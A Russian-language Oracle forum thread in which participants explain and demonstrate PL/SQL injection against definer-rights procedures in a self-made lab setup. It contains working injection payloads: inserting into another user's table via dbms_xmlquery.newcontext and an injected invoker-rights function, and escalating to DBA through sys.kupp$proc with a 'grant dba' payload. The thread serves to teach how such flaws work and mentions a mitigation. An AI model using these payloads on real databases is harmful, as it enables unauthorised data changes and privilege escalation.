powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Sql инъекция в Oracle 12c
10 сообщений из 10, страница 1 из 1
Sql инъекция в Oracle 12c
    #39571718
SoratoMan
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Доброго времени суток! Есть известная работа Дэвида Литчфилда, описывающую использование sql - инъекции для получения полномочий dba: http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf.
В работе предложен пример, демонстрирующий использование незащищенной процедуры, созданной пользователем sys. Соответственно, имея только доступ к этой процедуре и create session привилегию мы можем делать всё, что душе угодно.
Проблема в следующем:
Пусть уязвимая процедура vulnProc создана не пользователем sys, а user1 с ролью dba.
Также есть пользователь user2, обладающий правами на использование этой процедуры, правами на создание сессии и просмотром таблиц, созданных user1.
И вот хоть убей, не могу разобраться, как использовать эту уязвимость для того, чтобы user2 смог, сделать insert в таблицу user1.
Прошу помощи и совета)
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39571722
Фотография SY
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Для начала - процедура/функция/пакет по умолчанию создается c DEFINER RIGHTS котoрый означает процедура выполняется под security domain владельца с привилегиями данными владельцу напрямую а не через роли (роли игнорируются и при компиляции, кстати независимо от DEFINER RIGHTS или INVOKER RIGHTS). Так-что есть ли у user1 DBA или нет значения не имеет.

SY.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39571725
SoratoMan
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Спасибо, буду знать)
Но суть вопроса от того не меняется. Или, быть может, кто-то знает другие способы провести инъекцию при заданных условиях?
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39571738
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
SoratoManПусть уязвимая процедура vulnProc создана не пользователем sys, а user1 с ролью dba.
Также есть пользователь user2, обладающий правами на использование этой процедуры, правами на создание сессии и просмотром таблиц, созданных user1.
И вот хоть убей, не могу разобраться, как использовать эту уязвимость для того, чтобы user2 смог, сделать insert в таблицу user1.
Прошу помощи и совета)
Создаем пользователей
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
drop user u1 cascade;
drop user u2 cascade;

create user u1 identified by 1;
grant create session, connect to u1;
grant dba to u1;

create user u2 identified by 1;
grant create session, connect to u2;


U1
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
connect u1/1
create or replace procedure p(p in varchar2) as
result int;
begin
execute immediate 'select count(*) from dual where '||p||' = 1' into result;
dbms_output.put_line(result);
end;
/
create table t as select 0 id from dual;
grant select on t to u2;
grant execute on p to u2;


U2
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
SQL> connect u2/1
Connected.
SQL> set serveroutput on
SQL> exec u1.p(q'#dbms_xmlquery.newcontext('declare pragma autonomous_transaction; begin insert into t values (1); commit; end;')#');
0

PL/SQL procedure successfully completed.

SQL> select * from u1.t;

        ID
----------
         0
         1

На 12с лавочку прикрыли.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39571740
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Just for fun

Создаем пользователей
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
drop user u1 cascade;
drop user u2 cascade;

create user u1 identified by 1;
grant create session, connect to u1;
grant dba to u1;
grant execute on sys.kupp$proc to u1;

create user u2 identified by 1;
grant create session, connect to u2;


U1
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
connect u1/1
create or replace procedure p(p in varchar2) as
result int;
begin
execute immediate 'select count(*) from dual where '||p||' = 1' into result;
dbms_output.put_line(result);
end;
/
grant execute on p to u2;


U2
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
SQL> connect u2/1
Connected.
SQL> exec u1.p(q'#sys.kupp$proc.create_master_process('execute immediate ''grant dba to u2'';')#');

PL/SQL procedure successfully completed.

SQL> drop user u1 cascade;
drop user u1 cascade
*
ERROR at line 1:
ORA-01031: insufficient privileges


SQL> connect u2/1
Connected.
SQL> drop user u1 cascade;

User dropped.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39571746
Фотография SY
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
SoratoManСпасибо, буду знать)
Но суть вопроса от того не меняется. Или, быть может, кто-то знает другие способы провести инъекцию при заданных условиях?

Если user2 имеет CREATE PROCEDURE, то:

Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
drop user u1 cascade;
drop user u2 cascade;
create user u1 identified by u1
default tablespace users
quota unlimited on users;
grant create session, create table,create procedure to u1;
create user u2 identified by u2;
grant create session,create procedure to u2;
connect u1@pdb1sol12/u1
CREATE OR REPLACE
  PROCEDURE VULNERABLE_PROC(P VARCHAR2)
    IS
        N NUMBER;
    BEGIN
        EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM USER_OBJECTS WHERE OBJECT_NAME = ''' || P || ''''
          INTO N;
        DBMS_OUTPUT.PUT_LINE(N);
END;
/
GRANT EXECUTE ON VULNERABLE_PROC TO U2;
CREATE TABLE TBL1(ID NUMBER);
GRANT SELECT ON TBL1 TO U2;
connect u2@pdb1sol12/u2
CREATE OR REPLACE
  FUNCTION INJECT(
                  P_ID NUMBER
                 )
   RETURN VARCHAR2
   AUTHID CURRENT_USER
   IS
       PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO U1.TBL1 VALUES(:1)'
        USING P_ID;
    COMMIT;
    RETURN NULL;
END;
/
GRANT EXECUTE ON INJECT TO U1;
EXEC U1.VULNERABLE_PROC('TBL'' || U2.INJECT(99) || ''1')
SELECT  *
  FROM  U1.TBL1;

        ID
----------
        99
        99

SQL>



Правда в 12C этого можно избежать через INHERIT PRIVILEGES.

SY.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39572348
SoratoMan
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Спасибо большое за советы)
Но уже из вредности хочется разобраться как применить код из статьи не для sys.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39572402
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
SoratoManСпасибо большое за советы)
Но уже из вредности хочется разобраться как применить код из статьи не для sys.Где ты увидел sys кроме моего трюкачества с sys.kupp$proc и что ты понимаешь под "не для sys"?

В плане увеличения сложности можешь разобрать
1) сначала скрипт SY
2) потом мой с dbms_xmlquery.newcontext
3) и в последнюю очередь с sys.kupp$proc

(1) и (2) это просто возможность воспользоваться правом другого пользователя на его объекты через инъекцию,
а (3) - это типичный случай sql injection privilege escalation, но наличие гранта на sys.kupp$proc совсем не типично.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39572410
SoratoMan
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
dbms_photoshop,
Вопрос задавался ради достижения 2 целей:
1) Увидеть примеры Sql-инъекций, с чем вы и SY любезно помогли)
2) Узнать, как модифицировать код из статьи для применения к процедуре, созданной не под sys.
...
Рейтинг: 0 / 0
Sql инъекция в Oracle 12c
    #39572721
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
SoratoManУзнать, как модифицировать код из статьи для применения к процедуре, созданной не под sys.Читай в FAQ про права через роль до полного просветления.
...
Рейтинг: 0 / 0
10 сообщений из 10, страница 1 из 1
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Sql инъекция в Oracle 12c
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]